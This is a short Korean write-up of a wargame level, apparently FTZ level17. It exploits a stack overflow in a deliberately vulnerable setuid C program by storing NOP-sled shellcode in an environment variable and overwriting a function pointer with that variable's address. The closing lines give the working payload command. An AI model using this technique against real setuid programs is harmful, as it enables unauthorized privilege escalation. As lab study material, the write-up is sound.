#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
level17 문제는 shell 실행시키는 함수가 없다. RTL 방법을 시도해보자
[그림 1-1] 참조하면 [그림 1-2] 그릴 수 있다.
RTL 방식으로 payload 작성하면 "A" * 40 + system 함수 주소 + dummy[4] + /bin/sh 총 52 바이트로 48바이트를 초과해서 문제가 생긴다. 따라서 RTL 방식은 사용할 수 없다.
bof 문제 중 버퍼의 크기가 넉넉하지 않은 경우 환경 변수를 이용하면 해결할 수 있다.
환경 변수는 시스템에서 사용하는 변수로 메모리 어딘가에 항상 저장되어 있다.
환경 변수를 하나 만들고, 환경 변수에 쉘 코드를 넣어 환경변수의 주소를 call 변수에 넣어 문제를 해결해보자
python 스크립트를 이용하여 SHELLCODE 이름으로 환경 변수를 등록한다.
\x90 은 nop sled 를 위해 넣어 주고 뒤에 shellcode를 넣는다.
환경 변수 SHELLCODE 주소를 알아오는 코드를 작성한다.
환경변수 SHELLCODE 는 메모리에서 0xbffffbcb 에 있다.
따라서 payload 는 "A" * 40 + 0xbffffbcb 이다.
(python -c 'print("A"*40+"\xcb\xfb\xff\xbf")';cat) | ./attackme
성공